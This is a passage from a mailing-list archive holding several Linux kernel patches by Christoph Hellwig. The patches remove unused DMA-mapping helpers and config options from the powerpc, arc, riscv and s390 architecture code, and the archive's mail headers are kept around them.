Xref: news.gmane.org gmane.linux.kernel.iommu:22146 gmane.linux.ports.mips.general:63287 gmane.linux.ports.ia64:28590 gmane.linux.ports.sh.devel:56291 gmane.linux.ports.sparc:27240 gmane.linux.kernel.cross-arch:41448 gmane.linux.ports.hexagon:1555 gmane.linux.kernel.arc:3339 gmane.linux.kernel.metag:1632 gmane.linux.ports.arm.kernel:625645 gmane.linux.ports.parisc:28232 gmane.linux.kernel:2665078 gmane.linux.ports.alpha:4729 gmane.linux.ports.ppc64.devel:152014
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22146>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/powerpc/include/asm/dma-mapping.h | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/arch/powerpc/include/asm/dma-mapping.h b/arch/powerpc/include/asm/dma-mapping.h
index 5a6cbe11db6f..592c7f418aa0 100644
--- a/arch/powerpc/include/asm/dma-mapping.h
+++ b/arch/powerpc/include/asm/dma-mapping.h
@@ -107,9 +107,6 @@ static inline void set_dma_offset(struct device *dev, dma_addr_t off)
 		dev->archdata.dma_offset = off;
 }
 
-/* this will be removed soon */
-#define flush_write_buffers()
-
 #define HAVE_ARCH_DMA_SET_MASK 1
 extern int dma_set_mask(struct device *dev, u64 dma_mask);
 
-- 
2.14.2


From - Thu Nov 08 21:40:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 05/34] arc: remove CONFIG_ARC_PLAT_NEEDS_PHYS_TO_DMA
Date: Fri, 12 Jan 2018 09:42:03 +0100
Lines: 110
Approved: news@gmane.org
Message-ID: <20180112084232.2857-6-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746474 1995 195.159.176.226 (12 Jan 2018 08:41:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:41:14 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
        linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
        linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
        linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
        linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
        linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
        linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>,
        x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Jan 12 09:41:08 2018
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1eZutZ-0007w8-6V
	for glkm-linux-metag@m.gmane.org; Fri, 12 Jan 2018 09:41:01 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S932860AbeALInE (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
        Fri, 12 Jan 2018 03:43:04 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:50798 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754304AbeALIm5 (ORCPT
        <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
        Fri, 12 Jan 2018 03:42:57 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=2lQf+iUE0etj+DXwQLMAdazaZ3TD1HeSJN/sy8+g38U=; b=PzGzORD6Kc+65PsXfaaEt7nAF
        5CZ2zxu8RrHV7XWr+LcqJSSOkvlYjm4Wfs9d+2TQc38H/L4fAqRAbZqKpT+nVuKtIDpkqkXD4ecL9
        cZkXlQur/OF0m8DHUCCyB78zy48ToDR19SyoIxTWbN4yzHonBvOMMdVL+1hQH+voOJpvknFvqlIw5
        xMC+p+CCcGd4OMd55dzjYwd5nYIlbjs4WSdtGiutKjxb8DesQpHisyJlg5DfmfaxaET54bvxseoWw
        SzH6gRv6Qby+JQ7CvZZShkLiiQAPpdN77XuPrOyQL8J4tq7KQjnm/tua4g5PO0cCxvpHNj3SHhRvO
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuvL-0007B5-6k; Fri, 12 Jan 2018 08:42:51 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:1633 gmane.linux.kernel.iommu:22147 gmane.linux.ports.alpha:4730 gmane.linux.kernel.arc:3340 gmane.linux.ports.arm.kernel:625646 gmane.linux.ports.hexagon:1556 gmane.linux.ports.ia64:28591 gmane.linux.ports.mips.general:63288 gmane.linux.ports.parisc:28233 gmane.linux.ports.ppc64.devel:152015 gmane.linux.ports.sh.devel:56292 gmane.linux.ports.sparc:27241 gmane.linux.kernel.cross-arch:41449 gmane.linux.kernel:2665079
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/1633>

We always use the stub definitions, so remove the unused other code.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Acked-by: Vineet Gupta <vgupta-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
---
 arch/arc/Kconfig                   |  3 ---
 arch/arc/include/asm/dma-mapping.h |  7 -------
 arch/arc/mm/dma.c                  | 14 +++++++-------
 3 files changed, 7 insertions(+), 17 deletions(-)

diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
index 9d5fd00d9e91..f3a80cf164cc 100644
--- a/arch/arc/Kconfig
+++ b/arch/arc/Kconfig
@@ -463,9 +463,6 @@ config ARCH_PHYS_ADDR_T_64BIT
 config ARCH_DMA_ADDR_T_64BIT
 	bool
 
-config ARC_PLAT_NEEDS_PHYS_TO_DMA
-	bool
-
 config ARC_KVADDR_SIZE
 	int "Kernel Virtual Address Space size (MB)"
 	range 0 512
diff --git a/arch/arc/include/asm/dma-mapping.h b/arch/arc/include/asm/dma-mapping.h
index 94285031c4fb..7a16824bfe98 100644
--- a/arch/arc/include/asm/dma-mapping.h
+++ b/arch/arc/include/asm/dma-mapping.h
@@ -11,13 +11,6 @@
 #ifndef ASM_ARC_DMA_MAPPING_H
 #define ASM_ARC_DMA_MAPPING_H
 
-#ifndef CONFIG_ARC_PLAT_NEEDS_PHYS_TO_DMA
-#define plat_dma_to_phys(dev, dma_handle) ((phys_addr_t)(dma_handle))
-#define plat_phys_to_dma(dev, paddr) ((dma_addr_t)(paddr))
-#else
-#include <plat/dma.h>
-#endif
-
 extern const struct dma_map_ops arc_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
diff --git a/arch/arc/mm/dma.c b/arch/arc/mm/dma.c
index e9d93604ad0f..1dcc404b5aec 100644
--- a/arch/arc/mm/dma.c
+++ b/arch/arc/mm/dma.c
@@ -60,7 +60,7 @@ static void *arc_dma_alloc(struct device *dev, size_t size,
 	/* This is linear addr (0x8000_0000 based) */
 	paddr = page_to_phys(page);
 
-	*dma_handle = plat_phys_to_dma(dev, paddr);
+	*dma_handle = paddr;
 
 	/* This is kernel Virtual address (0x7000_0000 based) */
 	if (need_kvaddr) {
@@ -92,7 +92,7 @@ static void *arc_dma_alloc(struct device *dev, size_t size,
 static void arc_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
-	phys_addr_t paddr = plat_dma_to_phys(dev, dma_handle);
+	phys_addr_t paddr = dma_handle;
 	struct page *page = virt_to_page(paddr);
 	int is_non_coh = 1;
 
@@ -111,7 +111,7 @@ static int arc_dma_mmap(struct device *dev, struct vm_area_struct *vma,
 {
 	unsigned long user_count = vma_pages(vma);
 	unsigned long count = PAGE_ALIGN(size) >> PAGE_SHIFT;
-	unsigned long pfn = __phys_to_pfn(plat_dma_to_phys(dev, dma_addr));
+	unsigned long pfn = __phys_to_pfn(dma_addr);
 	unsigned long off = vma->vm_pgoff;
 	int ret = -ENXIO;
 
@@ -175,7 +175,7 @@ static dma_addr_t arc_dma_map_page(struct device *dev, struct page *page,
 	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
 		_dma_cache_sync(paddr, size, dir);
 
-	return plat_phys_to_dma(dev, paddr);
+	return paddr;
 }
 
 /*
@@ -190,7 +190,7 @@ static void arc_dma_unmap_page(struct device *dev, dma_addr_t handle,
 			       size_t size, enum dma_data_direction dir,
 			       unsigned long attrs)
 {
-	phys_addr_t paddr = plat_dma_to_phys(dev, handle);
+	phys_addr_t paddr = handle;
 
 	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
 		_dma_cache_sync(paddr, size, dir);
@@ -224,13 +224,13 @@ static void arc_dma_unmap_sg(struct device *dev, struct scatterlist *sg,
 static void arc_dma_sync_single_for_cpu(struct device *dev,
 		dma_addr_t dma_handle, size_t size, enum dma_data_direction dir)
 {
-	_dma_cache_sync(plat_dma_to_phys(dev, dma_handle), size, DMA_FROM_DEVICE);
+	_dma_cache_sync(dma_handle, size, DMA_FROM_DEVICE);
 }
 
 static void arc_dma_sync_single_for_device(struct device *dev,
 		dma_addr_t dma_handle, size_t size, enum dma_data_direction dir)
 {
-	_dma_cache_sync(plat_dma_to_phys(dev, dma_handle), size, DMA_TO_DEVICE);
+	_dma_cache_sync(dma_handle, size, DMA_TO_DEVICE);
 }
 
 static void arc_dma_sync_sg_for_cpu(struct device *dev,
-- 
2.14.2


From - Thu Nov 08 21:40:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 07/34] riscv: remove the unused dma_capable helper
Date: Fri, 12 Jan 2018 09:42:05 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20180112084232.2857-8-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746477 2735 195.159.176.226 (12 Jan 2018 08:41:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:41:17 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
        linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
        linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
        linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
        linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
        linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
        linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>,
        x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Jan 12 09:41:12 2018
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1eZutf-0007w8-UA
	for glkm-linux-metag@m.gmane.org; Fri, 12 Jan 2018 09:41:08 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S933296AbeALInL (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
        Fri, 12 Jan 2018 03:43:11 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:35493 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932926AbeALInF (ORCPT
        <rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
        Fri, 12 Jan 2018 03:43:05 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=07RuFC1Zfs8Ezi8EsP/bxOpwvBBEoSJ4OYSPIkkVu+U=; b=cTHrlfZ5HyZpPVcKiPs0kx/YE
        1ynScaFFpiGshg3MkLwMww5ce+GGHe+4O+82xdw6tvFDIk1b0GQbDu5kefs7/9ynz7JZu1c052KvW
        LO/LrmMEeFO4csDyF7tVbrw6dbkdW3Ldi0VQETtqMz9odlkXNLq4G5AvVOxoLKTTP7dnjJdMpPz0H
        Zy1z4dQowrs1KKEwKzra8knDQYxoAY9hPY/1alCvocL29EJHXkNOpb7KghS65cjbrIsZkYXmDv2Se
        /vn4hPIpXxhTvWV4HEsddSReeTVXdgIAvKmsLQC8bZB/mhmsDoXAyb3B1dM2UJgcGkFe8UprAKlob
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuvR-0007KN-RQ; Fri, 12 Jan 2018 08:42:58 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:1634 gmane.linux.kernel.iommu:22148 gmane.linux.ports.alpha:4731 gmane.linux.kernel.arc:3341 gmane.linux.ports.arm.kernel:625647 gmane.linux.ports.hexagon:1557 gmane.linux.ports.ia64:28592 gmane.linux.ports.mips.general:63289 gmane.linux.ports.parisc:28234 gmane.linux.ports.ppc64.devel:152016 gmane.linux.ports.sh.devel:56293 gmane.linux.ports.sparc:27242 gmane.linux.kernel.cross-arch:41450 gmane.linux.kernel:2665080
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/1634>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/riscv/include/asm/dma-mapping.h | 8 --------
 1 file changed, 8 deletions(-)

diff --git a/arch/riscv/include/asm/dma-mapping.h b/arch/riscv/include/asm/dma-mapping.h
index 3eec1000196d..73849e2cc761 100644
--- a/arch/riscv/include/asm/dma-mapping.h
+++ b/arch/riscv/include/asm/dma-mapping.h
@@ -27,12 +27,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &dma_noop_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return false;
-
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
 #endif	/* __ASM_RISCV_DMA_MAPPING_H */
-- 
2.14.2


From - Thu Nov 08 21:40:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 08/34] s390: remove the unused dma_capable helper
Date: Fri, 12 Jan 2018 09:42:06 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20180112084232.2857-9-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515746487 4533 195.159.176.226 (12 Jan 2018 08:41:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:41:27 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jan 12 09:41:21 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZuto-0000cB-Mv
	for glki-iommu@m.gmane.org; Fri, 12 Jan 2018 09:41:17 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 9481F1040;
	Fri, 12 Jan 2018 08:43:08 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id B87E6103F
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:43:06 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 571DBD0
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:43:06 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=m0FQ4a4ZxoB2cHk6bXDHjO6pdh6D5z/ak3wK1MTP8hI=;
	b=TPCuB409qHX83CPpx22o0o1N+
	0y16cMFHNis0aXPpIiVaLoqUG4OgcTb4yq1uDTYaRBiWg3PevH+6US9LR9rtKMLH7qFr9m8ia8mub
	oBdvaNm+bZYrMIfaTE2zststPUL5unCgNPrUIxBC6SAAvqO+j+WtQ3iJql+IVLnGLBKQOzhRjOCfd
	STvJhrqqTes1pWGIKPBvU+sM7LC8Rf3yKyz82hJarZK4qLepeHGGhEzWuVYfxzK/44YLhw13vZQkh
	OM4cAqDj7IY1pG+GaZ8hgb45dtr8JanaHIw03TUm8Sd/ZpVhLH2JFvgmhMEhlFHAfQfoVUHh1VVYN
	IAWNTNWRA==;
Original-Received: from [188.21.167.3] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZuvW-0007PZ-5P; Fri, 12 Jan 2018 08:43:02 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22149 gmane.linux.ports.mips.general:63290 gmane.linux.ports.ia64:28593 gmane.linux.ports.sh.devel:56294 gmane.linux.ports.sparc:27243 gmane.linux.kernel.cross-arch:41451 gmane.linux.ports.hexagon:1558 gmane.linux.kernel.arc:3342 gmane.linux.kernel.metag:1635 gmane.linux.ports.arm.kernel:625648 gmane.linux.ports.parisc:28235 gmane.linux.kernel:2665081 gmane.linux.ports.alpha:4732 gmane.linux.ports.ppc64.devel:152017
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22149>

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/s390/include/asm/dma-mapping.h | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/arch/s390/include/asm/dma-mapping.h b/arch/s390/include/asm/dma-mapping.h
index eaf490f9c5bc..2ec7240c1ada 100644
--- a/arch/s390/include/asm/dma-mapping.h
+++ b/arch/s390/include/asm/dma-mapping.h
@@ -16,11 +16,4 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &dma_noop_ops;
 }
 
-static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
-{
-	if (!dev->dma_mask)
-		return false;
-	return addr + size - 1 <= *dev->dma_mask;
-}
-
